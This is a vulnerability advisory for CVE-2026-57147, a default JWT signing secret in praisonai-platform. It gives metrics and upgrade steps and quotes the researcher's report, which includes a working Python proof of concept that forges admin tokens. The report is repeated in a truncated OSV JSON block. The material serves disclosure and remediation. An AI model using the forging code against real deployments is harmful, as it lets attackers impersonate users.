CVE-2026-57147: praisonai-platform Default JWT Signing Secret 'dev-secret-change-me' Vulnerability

CRITICAL
Advisory Identifier: GHSA-cwj8-7gp2-ggcw
CVSS 9.8
CWE-798 CWE-1188
Published
Advisory Summary

CVE-2026-57147 is a CRITICAL (CVSS 9.8) default jwt signing secret 'dev-secret-change-me' vulnerability (CWE-798: Use of Hard-coded Credentials) affecting praisonai-platform libraries in the PyPI ecosystem. The issue involves default jwt signing secret 'dev-secret-change-me' enables token forgery. Remediation is available by upgrading affected packages to version 0.1.6.

CVE-2026-57147 at a Glance

CVE Identifier CVE-2026-57147
GHSA Identifier GHSA-cwj8-7gp2-ggcw
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-798: Use of Hard-coded Credentials
Affected Product praisonai-platform
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-57147

To remediate this vulnerability, upgrade all affected praisonai-platform dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai-platform fixed: 0.1.6
pip install praisonai-platform>=0.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai-platform

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57147, inspect your installed packages using pip:

pip show praisonai-platform

Analyze the terminal output to locate any version of praisonai-platform in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.6), your application is affected.

Note: The pip show praisonai-platform command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-798: Use of Hard-coded Credentials, where the product contains hard-coded credentials, such as a password or cryptographic key. In praisonai-platform, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# praisonai-platform: default JWT signing secret `dev-secret-change-me` **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI --- **Package:** `praisonai-platform` on PyPI **Latest version (and version tested):** `0.1.4`, current as of 2026-06-01. **File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`). **Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource. --- ## TL;DR `praisonai_platform/services/auth_service.py` lines 25-37: ```python _DEFAULT_SECRET = "dev-secret-change-me" JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET) JWT_ALGORITHM = "HS256" JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600))) if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError( "PLATFORM_JWT_SECRET must be set to a strong random value in production. " "Set PLATFORM_ENV=dev to suppress this check during development." ) ``` The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when **both**: - the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and** - the operator explicitly set `PLATFORM_ENV` to something other than `"dev"`. If the operator left **both** env vars unset — the most common mis-deploy — `PLATFORM_ENV` falls back to `"dev"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `'dev-secret-change-me'`. The fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted. ## Root cause ``` Expected behavior, reading line 33 of auth_service.py: "Good — the framework refuses to start in production with a default-string secret. I'm safe by construction." Actual behavior: - PLATFORM_ENV defaults to 'dev' when unset. - The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production' or "operator explicitly opted in to using the dev secret". - So the "deployed without setting any env var" config — typical for first-pip-install or quick-start docker — sits silently in dev mode with the public secret. Impact: A guard that requires the operator to EXPLICITLY signal "production" cannot catch operators who forgot to signal anything. The forgot-to-signal case is the one the guard was designed to catch. ``` ## Empirical verification `poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset: ``` [1] startup guard at auth_service.py:33 status Inputs: JWT_SECRET = 'dev-secret-change-me' _DEFAULT_SECRET = 'dev-secret-change-me' PLATFORM_ENV = 'dev' (default 'dev') -> JWT_SECRET == _DEFAULT_SECRET: True -> PLATFORM_ENV != 'dev': False -> guard fires? False [2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 JWT_ALGORITHM: 'HS256' [3] forge a JWT signed with the live JWT_SECRET forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... [4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token at auth_service.py:139 decoded.sub = admin-user-id-attacker-chose decoded.email= admin@example.com [5] AuthService._verify_token(forged_token) (live method call) identity.id = admin-user-id-attacker-chose identity.email = admin@example.com VERDICT: VULNERABLE EXIT 0 ``` Step [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity. PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256. ## Impact This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user. Workspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token. ## Anchors `praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`): | Line | Code | Meaning | |-------|---------------------------------------------------------------------|---------| | 25 | `_DEFAULT_SECRET = "dev-secret-change-me"` | Public default literal. | | 26 | `JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)` | Env-var fallback chain. | | 27 | `JWT_ALGORITHM = "HS256"` | HMAC-SHA256 with the default key. | | 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...)` | The asymmetric guard. Defaults `PLATFORM_ENV` to `"dev"`, so the `!= "dev"` check evaluates `False` on the forgot-to-set case. | | 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, …)` | Signing site. | | 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site — accepts attacker-forged tokens. | `praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({"token": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency. ## Suggested fix Invert the guard polarity: ```python import secrets _DEFAULT_SECRET = "dev-secret-change-me" JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET") JWT_ALGORITHM = "HS256" JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600))) if not JWT_SECRET: # Allow the dev fallback only when the operator EXPLICITLY signals # they understand it. The default posture is fail-closed. if os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true": JWT_SECRET = _DEFAULT_SECRET else: raise RuntimeError( "PLATFORM_JWT_SECRET is required. " "For local development only, set PLATFORM_ALLOW_DEV_SECRET=true." ) ``` This pattern is borrowed from Django's `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept (`poc.py`) against the cloned source. 3. Observe the result shown under *Verified result* below. ## Proof of concept `poc.py` ```python """ PoC: praisonai-platform's default JWT signing key is the public literal 'dev-secret-change-me', and the guard intended to refuse production startup checks the wrong axis — operators who deploy without setting `PLATFORM_ENV` are treated as `dev` and silently get the public secret. Prerequisite: pip install praisonai-platform pyjwt """ import hashlib import inspect import os import sys def main() -> int: # Simulate the realistic "operator pip-installed praisonai-platform # and started uvicorn without setting any env var" deployment. for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'): if env_var in os.environ: del os.environ[env_var] print('=' * 72) print('praisonai-platform — default JWT secret') print('=' * 72) try: from praisonai_platform.services import auth_service except RuntimeError as e: print(f'\nUNEXPECTED — import raised at startup: {e}') return 1 src = inspect.getsourcefile(auth_service) with open(src, 'rb') as f: sha = hashlib.sha256(f.read()).hexdigest() print() print('[1] startup guard at auth_service.py:33 status') print(f' JWT_SECRET = {auth_service.JWT_SECRET!r}') print(f' _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}') print(f" PLATFORM_ENV = {os.environ.get('PLATFORM_ENV', 'dev')!r} (default 'dev')") print(' => Guard does NOT fire on the "operator forgot to set both" failure mode.') print() print('[2] module sha256 + key bindings on the LIVE installed package') print(f' sha256: {sha}') print(f' JWT_ALGORITHM: {auth_service.JWT_ALGORITHM!r}') if auth_service.JWT_SECRET != 'dev-secret-change-me': print('UNEXPECTED — JWT_SECRET is not the public literal.') return 1 import jwt from datetime import datetime, timedelta, timezone now = datetime.now(timezone.utc) forged_payload = { 'sub': 'admin-user-id-attacker-chose', 'email': 'admin@example.com', 'name': 'Spoofed Admin', 'iat': now, 'exp': now + timedelta(seconds=3600), } forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM) print() print('[3] forge a JWT signed with the live JWT_SECRET') print(f' forged head: {forged_token[:70]}...') decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM]) print() print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token') print(f' decoded.sub = {decoded.get("sub")}') print(f' decoded.email= {decoded.get("email")}') if decoded.get('sub') != 'admin-user-id-attacker-chose': print('UNEXPECTED — decoded payload mismatched.') return 1 try: svc = auth_service.AuthService(session=None) identity = svc._verify_token(forged_token) except Exception as e: print(f' (Couldn\'t reach _verify_token: {e!r})') identity = None if identity is not None: print() print('[5] AuthService._verify_token(forged_token) (live method call)') print(f' identity.id = {identity.id}') print(f' identity.email = {identity.email}') print() print("VULNERABLE: praisonai-platform defaults JWT_SECRET to the public") print(" literal 'dev-secret-change-me'. The line-33 guard only") print(" refuses startup when PLATFORM_ENV is explicitly non-'dev'") print(' AND the secret is default — operators who forgot to set') print(' the env var entirely are silently in dev mode.') print('VERDICT: VULNERABLE') return 0 if __name__ == '__main__': sys.exit(main()) ``` ## Verification harness (executed against the cloned repo) This drives the unmodified upstream code rather than a reproduction. ```python import sys, types, importlib.util, os os.environ.pop("PLATFORM_JWT_SECRET", None); os.environ.pop("PLATFORM_ENV", None) # default deploy BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform") def pkg(name, path=None): m=types.ModuleType(name) if path: m.__path__=[path] sys.modules[name]=m; return m def stub(name, **a): m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m pkg("praisonai_platform", BASE+"/praisonai_platform") pkg("praisonai_platform.services", BASE+"/praisonai_platform/services") pkg("praisonai_platform.db", BASE+"/praisonai_platform/db") stub("praisonai_platform.db.models", Member=type("Member",(),{}), User=type("User",(),{})) stub("sqlalchemy", select=lambda *a,**k:None) sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext") stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b})) stub("praisonaiagents") class AuthIdentity: def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name stub("praisonaiagents.auth", AuthIdentity=AuthIdentity) spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py") mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services" sys.modules[spec.name]=mod; spec.loader.exec_module(mod) # REAL auth_service.py print("[*] REAL module JWT_SECRET =", repr(mod.JWT_SECRET), "| _DEFAULT_SECRET =", repr(mod._DEFAULT_SECRET)) AuthService=mod.AuthService svc=AuthService.__new__(AuthService) # bypass DB __init__ FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"}) tok=svc._issue_token(FakeUser) # REAL _issue_token (default secret) print("[*] REAL _issue_token ->", tok[:46],"...") ident=svc._verify_token(tok) # REAL _verify_token print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name}) assert ident and ident.id=="attacker-id" and mod.JWT_SECRET=="dev-secret-change-me" print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')") ``` ## Verified result This PoC was executed against the live upstream code; captured output: ``` [*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me' [*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ... [+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'} [+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev') ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

CVE-2026-57147 Affected praisonai-platform Versions

1 component(s)
Fixed Versions:
0.1.6
Product / Package Ecosystem Affected Versions Fixed Version
praisonai-platform
PyPI
< 0.1.6
0.1.6

References

Frequently Asked Questions

What is CVE-2026-57147?
CVE-2026-57147 is a security vulnerability in praisonai-platform involving default JWT signing secret 'dev-secret-change-me' enables token forgery under CWE-798: Use of Hard-coded Credentials.
Which praisonai-platform versions are affected?
Affected versions include releases prior to 0.1.6 across affected packages: praisonai-platform.
What version fixes CVE-2026-57147?
Upgrading to 0.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai-platform affected?
Yes, praisonai-platform is affected in releases prior to 0.1.6. Upgrade your dependency to 0.1.6 or later.
What is the CVSS score of CVE-2026-57147?
CVE-2026-57147 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-57147?
CVE-2026-57147 is classified under CWE-798: Use of Hard-coded Credentials (The product contains hard-coded credentials, such as a password or cryptographic key.).
How can I check PyPI dependencies for CVE-2026-57147?
Run the dependency tree command: 'pip show praisonai-platform'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cwj8-7gp2-ggcw",
  "modified" : "2026-07-20T21:28:37Z",
  "published" : "2026-06-18T14:27:34Z",
  "aliases" : [ "CVE-2026-57147" ],
  "summary" : "praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery",
  "details" : "# praisonai-platform: default JWT signing secret `dev-secret-change-me`\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai-platform` on PyPI\n**Latest version (and version tested):** `0.1.4`, current as of 2026-06-01.\n**File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`).\n**Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.\n\n---\n\n## TL;DR\n\n`praisonai_platform/services/auth_service.py` lines 25-37:\n\n```python\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n    raise RuntimeError(\n        \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n        \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n    )\n```\n\nThe guard at line 33 is meant to catch the \"deployed to production with the default secret\" failure mode. But it only fires when **both**:\n\n- the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and**\n- the operator explicitly set `PLATFORM_ENV` to something other than `\"dev\"`.\n\nIf the operator left **both** env vars unset — the most common mis-deploy — `PLATFORM_ENV` falls back to `\"dev\"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `'dev-secret-change-me'`.\n\nThe fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips \"default-allow\" to \"default-deny\", which is what the line-33 comment implies the author wanted.\n\n## Root cause\n\n```\n   Expected behavior, reading line 33 of auth_service.py:\n     \"Good — the framework refuses to start in production with a\n      default-string secret.  I'm safe by construction.\"\n\n   Actual behavior:\n     - PLATFORM_ENV defaults to 'dev' when unset.\n     - The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production'\n       or \"operator explicitly opted in to using the dev secret\".\n     - So the \"deployed without setting any env var\" config — typical\n       for first-pip-install or quick-start docker — sits silently in\n       dev mode with the public secret.\n\n   Impact:\n     A guard that requires the operator to EXPLICITLY signal\n     \"production\" cannot catch operators who forgot to signal anything.\n     The forgot-to-signal case is the one the guard was designed to\n     catch.\n```\n\n## Empirical verification\n\n`poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset:\n\n```\n[1] startup guard at auth_service.py:33 status\n    Inputs:\n      JWT_SECRET    = 'dev-secret-change-me'\n      _DEFAULT_SECRET = 'dev-secret-change-me'\n      PLATFORM_ENV  = 'dev'  (default 'dev')\n    -> JWT_SECRET == _DEFAULT_SECRET: True\n    -> PLATFORM_ENV != 'dev':         False\n    -> guard fires?                   False\n\n[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258\n    JWT_ALGORITHM: 'HS256'\n\n[3] forge a JWT signed with the live JWT_SECRET\n    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n\n[4] jwt.decode(forged_token, JWT_SECRET) — same call as\n    AuthService._verify_token at auth_service.py:139\n    decoded.sub  = admin-user-id-attacker-chose\n    decoded.email= admin@example.com\n\n[5] AuthService._verify_token(forged_token) (live method call)\n    identity.id    = admin-user-id-attacker-chose\n    identity.email = admin@example.com\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\nStep [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.\n\nPyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256.\n\n## Impact\n\nThis is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.\n\nWorkspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token.\n\n## Anchors\n\n`praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`):\n\n| Line  | Code                                                                | Meaning |\n|-------|---------------------------------------------------------------------|---------|\n| 25    | `_DEFAULT_SECRET = \"dev-secret-change-me\"`                          | Public default literal.  |\n| 26    | `JWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)` | Env-var fallback chain. |\n| 27    | `JWT_ALGORITHM = \"HS256\"`                                            | HMAC-SHA256 with the default key. |\n| 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\": raise RuntimeError(...)` | The asymmetric guard.  Defaults `PLATFORM_ENV` to `\"dev\"`, so the `!= \"dev\"` check evaluates `False` on the forgot-to-set case. |\n| 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, …)`     | Signing site. |\n| 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site — accepts attacker-forged tokens.  |\n\n`praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({\"token\": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency.\n\n## Suggested fix\n\nInvert the guard polarity:\n\n```python\nimport secrets\n\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif not JWT_SECRET:\n    # Allow the dev fallback only when the operator EXPLICITLY signals\n    # they understand it.  The default posture is fail-closed.\n    if os.environ.get(\"PLATFORM_ALLOW_DEV_SECRET\", \"\").lower() == \"true\":\n        JWT_SECRET = _DEFAULT_SECRET\n    else:\n        raise RuntimeError(\n            \"PLATFORM_JWT_SECRET is required.  \"\n            \"For local development only, set PLATFORM_ALLOW_DEV_SECRET=true.\"\n        )\n```\n\nThis pattern is borrowed from Django's `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai-platform's default JWT signing key is the public literal\n'dev-secret-change-me', and the guard intended to refuse production\nstartup checks the wrong axis — operators who deploy without setting\n`PLATFORM_ENV` are treated as `dev` and silently get the public secret.\n\nPrerequisite:\n    pip install praisonai-platform pyjwt\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -> int:\n    # Simulate the realistic \"operator pip-installed praisonai-platform\n    # and started uvicorn without setting any env var\" deployment.\n    for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    print('=' * 72)\n    print('praisonai-platform — default JWT secret')\n    print('=' * 72)\n\n    try:\n        from praisonai_platform.services import auth_service\n    except RuntimeError as e:\n        print(f'\\nUNEXPECTED — import raised at startup: {e}')\n        return 1\n\n    src = inspect.getsourcefile(auth_service)\n    with open(src, 'rb') as f:\n        sha = hashlib.sha256(f.read()).hexdigest()\n\n    print()\n    print('[1] startup guard at auth_service.py:33 status')\n    print(f'      JWT_SECRET    = {auth_service.JWT_SECRET!r}')\n    print(f'      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}')\n    print(f\"      PLATFORM_ENV  = {os.environ.get('PLATFORM_ENV', 'dev')!r}  (default 'dev')\")\n    print('    => Guard does NOT fire on the \"operator forgot to set both\" failure mode.')\n\n    print()\n    print('[2] module sha256 + key bindings on the LIVE installed package')\n    print(f'    sha256:          {sha}')\n    print(f'    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}')\n\n    if auth_service.JWT_SECRET != 'dev-secret-change-me':\n        print('UNEXPECTED — JWT_SECRET is not the public literal.')\n        return 1\n\n    import jwt\n    from datetime import datetime, timedelta, timezone\n\n    now = datetime.now(timezone.utc)\n    forged_payload = {\n        'sub': 'admin-user-id-attacker-chose',\n        'email': 'admin@example.com',\n        'name': 'Spoofed Admin',\n        'iat': now,\n        'exp': now + timedelta(seconds=3600),\n    }\n    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)\n    print()\n    print('[3] forge a JWT signed with the live JWT_SECRET')\n    print(f'    forged head: {forged_token[:70]}...')\n\n    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])\n    print()\n    print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token')\n    print(f'    decoded.sub  = {decoded.get(\"sub\")}')\n    print(f'    decoded.email= {decoded.get(\"email\")}')\n\n    if decoded.get('sub') != 'admin-user-id-attacker-chose':\n        print('UNEXPECTED — decoded payload mismatched.')\n        return 1\n\n    try:\n        svc = auth_service.AuthService(session=None)\n        identity = svc._verify_token(forged_token)\n    except Exception as e:\n        print(f'    (Couldn\\'t reach _verify_token: {e!r})')\n        identity = None\n\n    if identity is not None:\n        print()\n        print('[5] AuthService._verify_token(forged_token) (live method call)')\n        print(f'    identity.id    = {identity.id}')\n        print(f'    identity.email = {identity.email}')\n\n    print()\n    print(\"VULNERABLE: praisonai-platform defaults JWT_SECRET to the public\")\n    print(\"            literal 'dev-secret-change-me'.  The line-33 guard only\")\n    print(\"            refuses startup when PLATFORM_ENV is explicitly non-'dev'\")\n    print('            AND the secret is default — operators who forgot to set')\n    print('            the env var entirely are silently in dev mode.')\n    print('VERDICT: VULNERABLE')\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, importlib.util, os\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None); os.environ.pop(\"PLATFORM_ENV\", None)  # default deploy\nBASE = os.path.abspath(\"repos/PraisonAI/src/praisonai-platform\")\ndef pkg(name, path=None):\n    m=types.ModuleType(name)\n    if path: m.__path__=[path]\n    sys.modules[name]=m; return m\ndef stub(name, **a):\n    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m\npkg(\"praisonai_platform\", BASE+\"/praisonai_platform\")\npkg(\"praisonai_platform.services\", BASE+\"/praisonai_platform/services\")\npkg(\"praisonai_platform.db\", BASE+\"/praisonai_platform/db\")\nstub(\"praisonai_platform.db.models\", Member=type(\"Member\",(),{}), User=type(\"User\",(),{}))\nstub(\"sqlalchemy\", select=lambda *a,**k:None)\nsa_async=types.ModuleType(\"sqlalchemy.ext.asyncio\"); sa_async.AsyncSession=type(\"AsyncSession\",(),{}); sys.modules[\"sqlalchemy.ext.asyncio\"]=sa_async; sys.modules[\"sqlalchemy.ext\"]=types.ModuleType(\"sqlalchemy.ext\")\nstub(\"passlib\"); stub(\"passlib.context\", CryptContext=type(\"CryptContext\",(),{\"__init__\":lambda s,*a,**k:None,\"hash\":lambda s,x:x,\"verify\":lambda s,a,b:a==b}))\nstub(\"praisonaiagents\")\nclass AuthIdentity:\n    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name\nstub(\"praisonaiagents.auth\", AuthIdentity=AuthIdentity)\n\nspec=importlib.util.spec_from_file_location(\"praisonai_platform.services.auth_service\", BASE+\"/praisonai_platform/services/auth_service.py\")\nmod=importlib.util.module_from_spec(spec); mod.__package__=\"praisonai_platform.services\"\nsys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py\n\nprint(\"[*] REAL module JWT_SECRET =\", repr(mod.JWT_SECRET), \"| _DEFAULT_SECRET =\", repr(mod._DEFAULT_SECRET))\nAuthService=mod.AuthService\nsvc=AuthService.__new__(AuthService)                       # bypass DB 